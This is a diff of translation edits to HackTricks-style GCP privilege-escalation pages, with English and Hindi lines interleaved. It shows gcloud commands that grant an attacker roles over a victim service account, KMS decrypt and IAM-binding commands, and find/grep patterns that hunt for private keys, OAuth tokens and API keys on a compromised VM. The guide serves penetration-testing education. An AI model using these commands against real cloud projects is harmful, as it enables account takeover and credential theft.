||||
-d '{
|
||||
"delegates": ["projects/-/serviceAccounts/'"${DELEGATED_SERVICE_ACCOUNT}"'"],
|
||||
"scope": ["https://www.googleapis.com/auth/cloud-platform"]
|
||||
}'
|
||||
```
|
||||
|
||||
You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/5-iam.serviceAccounts.implicitDelegation.sh) and a python script to abuse this privilege [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.implicitDelegation.py). For more information check the [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
आप एक स्क्रिप्ट पा सकते हैं जो [**एक कमजोर वातावरण के निर्माण, शोषण और सफाई को स्वचालित करने के लिए यहाँ है**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/5-iam.serviceAccounts.implicitDelegation.sh) और इस विशेषाधिकार का दुरुपयोग करने के लिए एक पायथन स्क्रिप्ट [**यहाँ है**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.implicitDelegation.py)। अधिक जानकारी के लिए [**मूल शोध**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/) देखें।
|
||||
|
||||
### `iam.serviceAccounts.signBlob`
|
||||
|
||||
An attacker with the mentioned permissions will be able to **sign of arbitrary payloads in GCP**. So it'll be possible to **create an unsigned JWT of the SA and then send it as a blob to get the JWT signed** by the SA we are targeting. For more information [**read this**](https://medium.com/google-cloud/using-serviceaccountactor-iam-role-for-account-impersonation-on-google-cloud-platform-a9e7118480ed).
|
||||
उपरोक्त अनुमतियों के साथ एक हमलावर **GCP में मनमाने पेलोड पर हस्ताक्षर करने में सक्षम होगा**। इसलिए यह संभव होगा कि **SA का एक असाइन किया हुआ JWT बनाएं और फिर इसे एक ब्लॉब के रूप में भेजें ताकि हम जिस SA को लक्षित कर रहे हैं, उसके द्वारा JWT पर हस्ताक्षर किया जा सके**। अधिक जानकारी के लिए [**यह पढ़ें**](https://medium.com/google-cloud/using-serviceaccountactor-iam-role-for-account-impersonation-on-google-cloud-platform-a9e7118480ed)।
|
||||
|
||||
You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/6-iam.serviceAccounts.signBlob.sh) and a python script to abuse this privilege [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-accessToken.py) and [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-gcsSignedUrl.py). For more information check the [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
आप एक स्क्रिप्ट पा सकते हैं जो [**एक कमजोर वातावरण के निर्माण, शोषण और सफाई को स्वचालित करने के लिए यहाँ है**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/6-iam.serviceAccounts.signBlob.sh) और इस विशेषाधिकार का दुरुपयोग करने के लिए एक पायथन स्क्रिप्ट [**यहाँ है**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-accessToken.py) और [**यहाँ है**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-gcsSignedUrl.py)। अधिक जानकारी के लिए [**मूल शोध**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/) देखें।
|
||||
|
||||
### `iam.serviceAccounts.signJwt`
|
||||
|
||||
An attacker with the mentioned permissions will be able to **sign well-formed JSON web tokens (JWTs)**. The difference with the previous method is that **instead of making google sign a blob containing a JWT, we use the signJWT method that already expects a JWT**. This makes it easier to use but you can only sign JWT instead of any bytes.
|
||||
उपरोक्त अनुमतियों के साथ एक हमलावर **अच्छी तरह से निर्मित JSON वेब टोकन (JWTs) पर हस्ताक्षर करने में सक्षम होगा**। पिछले तरीके के साथ अंतर यह है कि **ब्लॉब में JWT पर हस्ताक्षर करने के बजाय, हम signJWT विधि का उपयोग करते हैं जो पहले से ही JWT की अपेक्षा करता है**। यह उपयोग में आसान बनाता है लेकिन आप केवल JWT पर हस्ताक्षर कर सकते हैं न कि किसी भी बाइट्स पर।
|
||||
|
||||
You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/7-iam.serviceAccounts.signJWT.sh) and a python script to abuse this privilege [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signJWT.py). For more information check the [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
आप एक स्क्रिप्ट पा सकते हैं जो [**एक कमजोर वातावरण के निर्माण, शोषण और सफाई को स्वचालित करने के लिए यहाँ है**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/7-iam.serviceAccounts.signJWT.sh) और इस विशेषाधिकार का दुरुपयोग करने के लिए एक पायथन स्क्रिप्ट [**यहाँ है**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signJWT.py)। अधिक जानकारी के लिए [**मूल शोध**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/) देखें।
|
||||
|
||||
### `iam.serviceAccounts.setIamPolicy` <a href="#iam.serviceaccounts.setiampolicy" id="iam.serviceaccounts.setiampolicy"></a>
|
||||
|
||||
An attacker with the mentioned permissions will be able to **add IAM policies to service accounts**. You can abuse it to **grant yourself** the permissions you need to impersonate the service account. In the following example we are granting ourselves the `roles/iam.serviceAccountTokenCreator` role over the interesting SA:
|
||||
|
||||
उपरोक्त अनुमतियों के साथ एक हमलावर **सेवा खातों में IAM नीतियाँ जोड़ने में सक्षम होगा**। आप इसका दुरुपयोग करके **अपने लिए** आवश्यक अनुमतियाँ प्रदान कर सकते हैं ताकि सेवा खाते का अनुकरण किया जा सके। निम्नलिखित उदाहरण में हम अपने लिए `roles/iam.serviceAccountTokenCreator` भूमिका प्रदान कर रहे हैं:
|
||||
```bash
|
||||
gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.iam.gserviceaccount.com" \
|
||||
--member="user:username@domain.com" \
|
||||
--role="roles/iam.serviceAccountTokenCreator"
|
||||
--member="user:username@domain.com" \
|
||||
--role="roles/iam.serviceAccountTokenCreator"
|
||||
|
||||
# If you still have prblem grant yourself also this permission
|
||||
gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.iam.gserviceaccount.com" \ \
|
||||
--member="user:username@domain.com" \
|
||||
--role="roles/iam.serviceAccountUser"
|
||||
--member="user:username@domain.com" \
|
||||
--role="roles/iam.serviceAccountUser"
|
||||
```
|
||||
|
||||
You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/d-iam.serviceAccounts.setIamPolicy.sh)**.**
|
||||
आप [**यहां एक स्क्रिप्ट पा सकते हैं जो एक vuln वातावरण के निर्माण, शोषण और सफाई को स्वचालित करती है**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/d-iam.serviceAccounts.setIamPolicy.sh)**।**
|
||||
|
||||
### `iam.serviceAccounts.actAs`
|
||||
|
||||
The **iam.serviceAccounts.actAs permission** is like the **iam:PassRole permission from AWS**. It's essential for executing tasks, like initiating a Compute Engine instance, as it grants the ability to "actAs" a Service Account, ensuring secure permission management. Without this, users might gain undue access. Additionally, exploiting the **iam.serviceAccounts.actAs** involves various methods, each requiring a set of permissions, contrasting with other methods that need just one.
|
||||
**iam.serviceAccounts.actAs अनुमति** AWS से **iam:PassRole अनुमति** के समान है। यह कार्यों को निष्पादित करने के लिए आवश्यक है, जैसे कि Compute Engine उदाहरण शुरू करना, क्योंकि यह एक सेवा खाते के रूप में "actAs" करने की क्षमता प्रदान करता है, जो सुरक्षित अनुमति प्रबंधन सुनिश्चित करता है। इसके बिना, उपयोगकर्ता अनुचित पहुंच प्राप्त कर सकते हैं। इसके अतिरिक्त, **iam.serviceAccounts.actAs** का शोषण विभिन्न तरीकों में शामिल है, प्रत्येक को एक सेट अनुमति की आवश्यकता होती है, जबकि अन्य तरीकों को केवल एक की आवश्यकता होती है।
|
||||
|
||||
#### Service account impersonation <a href="#service-account-impersonation" id="service-account-impersonation"></a>
|
||||
#### सेवा खाता अनुकरण <a href="#service-account-impersonation" id="service-account-impersonation"></a>
|
||||
|
||||
Impersonating a service account can be very useful to **obtain new and better privileges**. There are three ways in which you can [impersonate another service account](https://cloud.google.com/iam/docs/understanding-service-accounts#impersonating_a_service_account):
|
||||
एक सेवा खाते का अनुकरण **नए और बेहतर विशेषाधिकार प्राप्त करने** के लिए बहुत उपयोगी हो सकता है। आप [दूसरे सेवा खाते का अनुकरण](https://cloud.google.com/iam/docs/understanding-service-accounts#impersonating_a_service_account) करने के तीन तरीके हैं:
|
||||
|
||||
- Authentication **using RSA private keys** (covered above)
|
||||
- Authorization **using Cloud IAM policies** (covered here)
|
||||
- **Deploying jobs on GCP services** (more applicable to the compromise of a user account)
|
||||
- प्रमाणीकरण **RSA निजी कुंजी का उपयोग करके** (ऊपर कवर किया गया)
|
||||
- प्राधिकरण **Cloud IAM नीतियों का उपयोग करके** (यहां कवर किया गया)
|
||||
- **GCP सेवाओं पर नौकरियों को तैनात करना** (एक उपयोगकर्ता खाते के समझौते के लिए अधिक लागू)
|
||||
|
||||
### `iam.serviceAccounts.getOpenIdToken`
|
||||
|
||||
An attacker with the mentioned permissions will be able to generate an OpenID JWT. These are used to assert identity and do not necessarily carry any implicit authorization against a resource.
|
||||
उपरोक्त अनुमति वाले एक हमलावर OpenID JWT उत्पन्न करने में सक्षम होगा। इनका उपयोग पहचान को प्रमाणित करने के लिए किया जाता है और ये किसी संसाधन के खिलाफ किसी निहित प्राधिकरण को अनिवार्य रूप से नहीं ले जाते हैं।
|
||||
|
||||
According to this [**interesting post**](https://medium.com/google-cloud/authenticating-using-google-openid-connect-tokens-e7675051213b), it's necessary to indicate the audience (service where you want to use the token to authenticate to) and you will receive a JWT signed by google indicating the service account and the audience of the JWT.
|
||||
|
||||
You can generate an OpenIDToken (if you have the access) with:
|
||||
इस [**दिलचस्प पोस्ट**](https://medium.com/google-cloud/authenticating-using-google-openid-connect-tokens-e7675051213b) के अनुसार, यह आवश्यक है कि दर्शक (सेवा जहां आप टोकन का उपयोग करके प्रमाणित होना चाहते हैं) को इंगित किया जाए और आपको एक JWT प्राप्त होगा जो google द्वारा हस्ताक्षरित होगा जो सेवा खाते और JWT के दर्शक को इंगित करता है।
|
||||
|
||||
आप OpenIDToken उत्पन्न कर सकते हैं (यदि आपके पास पहुंच है) के साथ:
|
||||
```bash
|
||||
# First activate the SA with iam.serviceAccounts.getOpenIdToken over the other SA
|
||||
gcloud auth activate-service-account --key-file=/path/to/svc_account.json
|
||||
# Then, generate token
|
||||
gcloud auth print-identity-token "${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount.com" --audiences=https://example.com
|
||||
```
|
||||
|
||||
Then you can just use it to access the service with:
|
||||
|
||||
फिर आप इसे सेवा तक पहुँचने के लिए बस उपयोग कर सकते हैं:
|
||||
```bash
|
||||
curl -v -H "Authorization: Bearer id_token" https://some-cloud-run-uc.a.run.app
|
||||
```
|
||||
|
||||
Some services that support authentication via this kind of tokens are:
|
||||
कुछ सेवाएँ जो इस प्रकार के टोकन के माध्यम से प्रमाणीकरण का समर्थन करती हैं:
|
||||
|
||||
- [Google Cloud Run](https://cloud.google.com/run/)
|
||||
- [Google Cloud Functions](https://cloud.google.com/functions/docs/)
|
||||
- [Google Identity Aware Proxy](https://cloud.google.com/iap/docs/authentication-howto)
|
||||
- [Google Cloud Endpoints](https://cloud.google.com/endpoints/docs/openapi/authenticating-users-google-id) (if using Google OIDC)
|
||||
- [Google Cloud Endpoints](https://cloud.google.com/endpoints/docs/openapi/authenticating-users-google-id) (यदि Google OIDC का उपयोग कर रहे हैं)
|
||||
|
||||
You can find an example on how to create and OpenID token behalf a service account [**here**](https://github.com/carlospolop-forks/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getOpenIdToken.py).
|
||||
आप एक सेवा खाते की ओर से OpenID टोकन बनाने का उदाहरण [**यहाँ**](https://github.com/carlospolop-forks/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getOpenIdToken.py) पा सकते हैं।
|
||||
|
||||
## References
|
||||
## संदर्भ
|
||||
|
||||
- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,89 +4,75 @@
|
||||
|
||||
## KMS
|
||||
|
||||
Info about KMS:
|
||||
KMS के बारे में जानकारी:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-kms-enum.md
|
||||
{{#endref}}
|
||||
|
||||
Note that in KMS the **permission** are not only **inherited** from Orgs, Folders and Projects but also from **Keyrings**.
|
||||
ध्यान दें कि KMS में **अनुमतियाँ** केवल **संस्थाओं**, फ़ोल्डरों और परियोजनाओं से **विरासत में** नहीं मिलती हैं बल्कि **कीरिंग्स** से भी मिलती हैं।
|
||||
|
||||
### `cloudkms.cryptoKeyVersions.useToDecrypt`
|
||||
|
||||
You can use this permission to **decrypt information with the key** you have this permission over.
|
||||
|
||||
आप इस अनुमति का उपयोग **की के साथ जानकारी को डिक्रिप्ट करने** के लिए कर सकते हैं जिसके ऊपर आपके पास यह अनुमति है।
|
||||
```bash
|
||||
gcloud kms decrypt \
|
||||
--location=[LOCATION] \
|
||||
--keyring=[KEYRING_NAME] \
|
||||
--key=[KEY_NAME] \
|
||||
--version=[KEY_VERSION] \
|
||||
--ciphertext-file=[ENCRYPTED_FILE_PATH] \
|
||||
--plaintext-file=[DECRYPTED_FILE_PATH]
|
||||
--location=[LOCATION] \
|
||||
--keyring=[KEYRING_NAME] \
|
||||
--key=[KEY_NAME] \
|
||||
--version=[KEY_VERSION] \
|
||||
--ciphertext-file=[ENCRYPTED_FILE_PATH] \
|
||||
--plaintext-file=[DECRYPTED_FILE_PATH]
|
||||
```
|
||||
|
||||
### `cloudkms.cryptoKeys.setIamPolicy`
|
||||
|
||||
An attacker with this permission could **give himself permissions** to use the key to decrypt information.
|
||||
|
||||
इस अनुमति के साथ एक हमलावर **अपने लिए अनुमति दे सकता है** कि वह कुंजी का उपयोग करके जानकारी को डिक्रिप्ट करे।
|
||||
```bash
|
||||
gcloud kms keys add-iam-policy-binding [KEY_NAME] \
|
||||
--location [LOCATION] \
|
||||
--keyring [KEYRING_NAME] \
|
||||
--member [MEMBER] \
|
||||
--role roles/cloudkms.cryptoKeyDecrypter
|
||||
--location [LOCATION] \
|
||||
--keyring [KEYRING_NAME] \
|
||||
--member [MEMBER] \
|
||||
--role roles/cloudkms.cryptoKeyDecrypter
|
||||
```
|
||||
|
||||
### `cloudkms.cryptoKeyVersions.useToDecryptViaDelegation`
|
||||
|
||||
Here's a conceptual breakdown of how this delegation works:
|
||||
यहाँ इस प्रतिनिधित्व के काम करने का एक वैचारिक विश्लेषण है:
|
||||
|
||||
1. **Service Account A** has direct access to decrypt using a specific key in KMS.
|
||||
2. **Service Account B** is granted the `useToDecryptViaDelegation` permission. This allows it to request KMS to decrypt data on behalf of Service Account A.
|
||||
1. **Service Account A** को KMS में एक विशिष्ट कुंजी का उपयोग करके डिक्रिप्ट करने का सीधा अधिकार है।
|
||||
2. **Service Account B** को `useToDecryptViaDelegation` अनुमति दी गई है। यह इसे Service Account A की ओर से डेटा डिक्रिप्ट करने के लिए KMS से अनुरोध करने की अनुमति देता है।
|
||||
|
||||
The usage of this **permission is implicit in the way that the KMS service checks permissions** when a decryption request is made.
|
||||
इस **अनुमति का उपयोग उस तरीके में निहित है जिसमें KMS सेवा अनुमतियों की जांच करती है** जब एक डिक्रिप्शन अनुरोध किया जाता है।
|
||||
|
||||
When you make a standard decryption request using the Google Cloud KMS API (in Python or another language), the service **checks whether the requesting service account has the necessary permissions**. If the request is made by a service account with the **`useToDecryptViaDelegation`** permission, KMS verifies whether this **account is allowed to request decryption on behalf of the entity that owns the key**.
|
||||
जब आप Google Cloud KMS API का उपयोग करके एक मानक डिक्रिप्शन अनुरोध करते हैं (Python या किसी अन्य भाषा में), तो सेवा **जांचती है कि क्या अनुरोध करने वाले सेवा खाते के पास आवश्यक अनुमतियाँ हैं**। यदि अनुरोध एक सेवा खाते द्वारा किया जाता है जिसके पास **`useToDecryptViaDelegation`** अनुमति है, तो KMS यह सत्यापित करता है कि क्या यह **खाता उस इकाई की ओर से डिक्रिप्शन का अनुरोध करने के लिए अधिकृत है जो कुंजी का मालिक है**।
|
||||
|
||||
#### Setting Up for Delegation
|
||||
|
||||
1. **Define the Custom Role**: Create a YAML file (e.g., `custom_role.yaml`) that defines the custom role. This file should include the `cloudkms.cryptoKeyVersions.useToDecryptViaDelegation` permission. Here's an example of what this file might look like:
|
||||
|
||||
1. **Define the Custom Role**: एक YAML फ़ाइल बनाएं (जैसे, `custom_role.yaml`) जो कस्टम भूमिका को परिभाषित करती है। इस फ़ाइल में `cloudkms.cryptoKeyVersions.useToDecryptViaDelegation` अनुमति शामिल होनी चाहिए। यहाँ इस फ़ाइल का एक उदाहरण है:
|
||||
```yaml
|
||||
title: "KMS Decryption via Delegation"
|
||||
description: "Allows decryption via delegation"
|
||||
stage: "GA"
|
||||
includedPermissions:
|
||||
- "cloudkms.cryptoKeyVersions.useToDecryptViaDelegation"
|
||||
- "cloudkms.cryptoKeyVersions.useToDecryptViaDelegation"
|
||||
```
|
||||
|
||||
2. **Create the Custom Role Using the gcloud CLI**: Use the following command to create the custom role in your Google Cloud project:
|
||||
|
||||
2. **gcloud CLI का उपयोग करके कस्टम भूमिका बनाएं**: अपने Google Cloud प्रोजेक्ट में कस्टम भूमिका बनाने के लिए निम्नलिखित कमांड का उपयोग करें:
|
||||
```bash
|
||||
gcloud iam roles create kms_decryptor_via_delegation --project [YOUR_PROJECT_ID] --file custom_role.yaml
|
||||
```
|
||||
`[YOUR_PROJECT_ID]` को अपने Google Cloud प्रोजेक्ट ID से बदलें।
|
||||
|
||||
Replace `[YOUR_PROJECT_ID]` with your Google Cloud project ID.
|
||||
|
||||
3. **Grant the Custom Role to a Service Account**: Assign your custom role to a service account that will be using this permission. Use the following command:
|
||||
|
||||
3. **एक सेवा खाते को कस्टम भूमिका दें**: इस अनुमति का उपयोग करने वाले सेवा खाते को अपनी कस्टम भूमिका असाइन करें। निम्नलिखित कमांड का उपयोग करें:
|
||||
```bash
|
||||
# Give this permission to the service account to impersonate
|
||||
gcloud projects add-iam-policy-binding [PROJECT_ID] \
|
||||
--member "serviceAccount:[SERVICE_ACCOUNT_B_EMAIL]" \
|
||||
--role "projects/[PROJECT_ID]/roles/[CUSTOM_ROLE_ID]"
|
||||
--member "serviceAccount:[SERVICE_ACCOUNT_B_EMAIL]" \
|
||||
--role "projects/[PROJECT_ID]/roles/[CUSTOM_ROLE_ID]"
|
||||
|
||||
# Give this permission over the project to be able to impersonate any SA
|
||||
gcloud projects add-iam-policy-binding [YOUR_PROJECT_ID] \
|
||||
--member="serviceAccount:[SERVICE_ACCOUNT_EMAIL]" \
|
||||
--role="projects/[YOUR_PROJECT_ID]/roles/kms_decryptor_via_delegation"
|
||||
--member="serviceAccount:[SERVICE_ACCOUNT_EMAIL]" \
|
||||
--role="projects/[YOUR_PROJECT_ID]/roles/kms_decryptor_via_delegation"
|
||||
```
|
||||
|
||||
Replace `[YOUR_PROJECT_ID]` and `[SERVICE_ACCOUNT_EMAIL]` with your project ID and the email of the service account, respectively.
|
||||
`[YOUR_PROJECT_ID]` और `[SERVICE_ACCOUNT_EMAIL]` को अपने प्रोजेक्ट आईडी और सेवा खाते के ईमेल से क्रमशः बदलें।
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
+27
-35
@@ -1,40 +1,40 @@
|
||||
# GCP - local privilege escalation ssh pivoting
|
||||
# GCP - स्थानीय विशेषाधिकार वृद्धि ssh पिवोटिंग
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
in this scenario we are going to suppose that you **have compromised a non privilege account** inside a VM in a Compute Engine project.
|
||||
इस परिदृश्य में हम मानते हैं कि आपने **एक गैर विशेषाधिकार खाता** एक VM में एक Compute Engine प्रोजेक्ट के अंदर समझौता किया है।
|
||||
|
||||
Amazingly, GPC permissions of the compute engine you have compromised may help you to **escalate privileges locally inside a machine**. Even if that won't always be very helpful in a cloud environment, it's good to know it's possible.
|
||||
अद्भुत रूप से, आपके द्वारा समझौता किए गए Compute Engine के GPC अनुमतियाँ आपको **एक मशीन के अंदर स्थानीय रूप से विशेषाधिकार बढ़ाने** में मदद कर सकती हैं। भले ही यह हमेशा एक क्लाउड वातावरण में बहुत सहायक न हो, यह जानना अच्छा है कि यह संभव है।
|
||||
|
||||
## Read the scripts <a href="#follow-the-scripts" id="follow-the-scripts"></a>
|
||||
## स्क्रिप्ट पढ़ें <a href="#follow-the-scripts" id="follow-the-scripts"></a>
|
||||
|
||||
**Compute Instances** are probably there to **execute some scripts** to perform actions with their service accounts.
|
||||
**कंप्यूट इंस्टेंस** शायद वहाँ **कुछ स्क्रिप्ट्स** को उनके सेवा खातों के साथ क्रियाएँ करने के लिए **निष्पादित करने** के लिए हैं।
|
||||
|
||||
As IAM is go granular, an account may have **read/write** privileges over a resource but **no list privileges**.
|
||||
चूंकि IAM बहुत बारीक है, एक खाता एक संसाधन पर **पढ़ने/लिखने** के विशेषाधिकार रख सकता है लेकिन **कोई सूची विशेषाधिकार नहीं**।
|
||||
|
||||
A great hypothetical example of this is a Compute Instance that has permission to read/write backups to a storage bucket called `instance82736-long-term-xyz-archive-0332893`.
|
||||
इसका एक शानदार काल्पनिक उदाहरण एक Compute Instance है जिसे `instance82736-long-term-xyz-archive-0332893` नामक एक स्टोरेज बकेट में बैकअप पढ़ने/लिखने की अनुमति है।
|
||||
|
||||
Running `gsutil ls` from the command line returns nothing, as the service account is lacking the `storage.buckets.list` IAM permission. However, if you ran `gsutil ls gs://instance82736-long-term-xyz-archive-0332893` you may find a complete filesystem backup, giving you clear-text access to data that your local Linux account lacks.
|
||||
कमांड लाइन से `gsutil ls` चलाने पर कुछ भी नहीं लौटता, क्योंकि सेवा खाते के पास `storage.buckets.list` IAM अनुमति नहीं है। हालाँकि, यदि आपने `gsutil ls gs://instance82736-long-term-xyz-archive-0332893` चलाया, तो आप एक पूर्ण फ़ाइल सिस्टम बैकअप पा सकते हैं, जो आपको उस डेटा तक स्पष्ट-पाठ पहुंच देता है जो आपके स्थानीय Linux खाते के पास नहीं है।
|
||||
|
||||
You may be able to find this bucket name inside a script (in bash, Python, Ruby...).
|
||||
आप इस बकेट नाम को एक स्क्रिप्ट (bash, Python, Ruby...) के अंदर पा सकते हैं।
|
||||
|
||||
## Custom Metadata
|
||||
## कस्टम मेटाडेटा
|
||||
|
||||
Administrators can add [custom metadata](https://cloud.google.com/compute/docs/storing-retrieving-metadata#custom) at the **instance** and **project level**. This is simply a way to pass **arbitrary key/value pairs into an instance**, and is commonly used for environment variables and startup/shutdown scripts.
|
||||
प्रशासक **इंस्टेंस** और **प्रोजेक्ट स्तर** पर [कस्टम मेटाडेटा](https://cloud.google.com/compute/docs/storing-retrieving-metadata#custom) जोड़ सकते हैं। यह बस एक तरीके से **मनमाने कुंजी/मान जोड़े को एक इंस्टेंस में पास करने** का तरीका है, और इसे पर्यावरण चर और स्टार्टअप/शटडाउन स्क्रिप्ट के लिए सामान्यतः उपयोग किया जाता है।
|
||||
|
||||
Moreover, it's possible to add **userdata**, which is a script that will be **executed everytime** the machine is started or restarted and that can be **accessed from the metadata endpoint also.**
|
||||
इसके अलावा, **userdata** जोड़ना संभव है, जो एक स्क्रिप्ट है जो **हर बार** मशीन शुरू या पुनः प्रारंभ होने पर **निष्पादित** की जाएगी और जिसे **मेटाडेटा एंडपॉइंट से भी एक्सेस किया जा सकता है।**
|
||||
|
||||
For more info check:
|
||||
अधिक जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf
|
||||
{{#endref}}
|
||||
|
||||
## **Abusing IAM permissions**
|
||||
## **IAM अनुमतियों का दुरुपयोग**
|
||||
|
||||
Most of the following proposed permissions are **given to the default Compute SA,** the only problem is that the **default access scope prevents the SA from using them**. However, if **`cloud-platform`** **scope** is enabled or just the **`compute`** **scope** is enabled, you will be **able to abuse them**.
|
||||
निम्नलिखित प्रस्तावित अनुमतियों में से अधिकांश **डिफ़ॉल्ट Compute SA को दी गई हैं,** केवल समस्या यह है कि **डिफ़ॉल्ट एक्सेस स्कोप SA को उनका उपयोग करने से रोकता है**। हालाँकि, यदि **`cloud-platform`** **स्कोप** सक्षम है या केवल **`compute`** **स्कोप** सक्षम है, तो आप **उनका दुरुपयोग करने में सक्षम होंगे**।
|
||||
|
||||
Check the following permissions:
|
||||
निम्नलिखित अनुमतियों की जांच करें:
|
||||
|
||||
- [**compute.instances.osLogin**](gcp-compute-privesc/#compute.instances.oslogin)
|
||||
- [**compute.instances.osAdminLogin**](gcp-compute-privesc/#compute.instances.osadminlogin)
|
||||
@@ -42,61 +42,53 @@ Check the following permissions:
|
||||
- [**compute.instances.setMetadata**](gcp-compute-privesc/#compute.instances.setmetadata)
|
||||
- [**compute.instances.setIamPolicy**](gcp-compute-privesc/#compute.instances.setiampolicy)
|
||||
|
||||
## Search for Keys in the filesystem
|
||||
|
||||
Check if other users have loggedin in gcloud inside the box and left their credentials in the filesystem:
|
||||
## फ़ाइल सिस्टम में कुंजियों की खोज करें
|
||||
|
||||
जांचें कि क्या अन्य उपयोगकर्ताओं ने बॉक्स के अंदर gcloud में लॉगिन किया है और फ़ाइल सिस्टम में अपने क्रेडेंशियल्स छोड़ दिए हैं:
|
||||
```
|
||||
sudo find / -name "gcloud"
|
||||
```
|
||||
|
||||
These are the most interesting files:
|
||||
ये सबसे दिलचस्प फ़ाइलें हैं:
|
||||
|
||||
- `~/.config/gcloud/credentials.db`
|
||||
- `~/.config/gcloud/legacy_credentials/[ACCOUNT]/adc.json`
|
||||
- `~/.config/gcloud/legacy_credentials/[ACCOUNT]/.boto`
|
||||
- `~/.credentials.json`
|
||||
|
||||
### More API Keys regexes
|
||||
|
||||
### अधिक API कुंजी regexes
|
||||
```bash
|
||||
TARGET_DIR="/path/to/whatever"
|
||||
|
||||
# Service account keys
|
||||
grep -Pzr "(?s){[^{}]*?service_account[^{}]*?private_key.*?}" \
|
||||
"$TARGET_DIR"
|
||||
"$TARGET_DIR"
|
||||
|
||||
# Legacy GCP creds
|
||||
grep -Pzr "(?s){[^{}]*?client_id[^{}]*?client_secret.*?}" \
|
||||
"$TARGET_DIR"
|
||||
"$TARGET_DIR"
|
||||
|
||||
# Google API keys
|
||||
grep -Pr "AIza[a-zA-Z0-9\\-_]{35}" \
|
||||
"$TARGET_DIR"
|
||||
"$TARGET_DIR"
|
||||
|
||||
# Google OAuth tokens
|
||||
grep -Pr "ya29\.[a-zA-Z0-9_-]{100,200}" \
|
||||
"$TARGET_DIR"
|
||||
"$TARGET_DIR"
|
||||
|
||||
# Generic SSH keys
|
||||
grep -Pzr "(?s)-----BEGIN[ A-Z]*?PRIVATE KEY[a-zA-Z0-9/\+=\n-]*?END[ A-Z]*?PRIVATE KEY-----" \
|
||||
"$TARGET_DIR"
|
||||
"$TARGET_DIR"
|
||||
|
||||
# Signed storage URLs
|
||||
grep -Pir "storage.googleapis.com.*?Goog-Signature=[a-f0-9]+" \
|
||||
"$TARGET_DIR"
|
||||
"$TARGET_DIR"
|
||||
|
||||
# Signed policy documents in HTML
|
||||
grep -Pzr '(?s)<form action.*?googleapis.com.*?name="signature" value=".*?">' \
|
||||
"$TARGET_DIR"
|
||||
"$TARGET_DIR"
|
||||
```
|
||||
|
||||
## References
|
||||
|
||||
- [https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/](https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
+6
-10
@@ -6,24 +6,20 @@
|
||||
|
||||
### \*.setIamPolicy
|
||||
|
||||
If you owns a user that has the **`setIamPolicy`** permission in a resource you can **escalate privileges in that resource** because you will be able to change the IAM policy of that resource and give you more privileges over it.\
|
||||
This permission can also allow to **escalate to other principals** if the resource allow to execute code and the iam.ServiceAccounts.actAs is not necessary.
|
||||
यदि आपके पास एक उपयोगकर्ता है जिसके पास किसी संसाधन में **`setIamPolicy`** अनुमति है, तो आप उस संसाधन में **अधिकार बढ़ा सकते हैं** क्योंकि आप उस संसाधन की IAM नीति को बदलने में सक्षम होंगे और आपको उस पर अधिक अधिकार मिलेंगे।\
|
||||
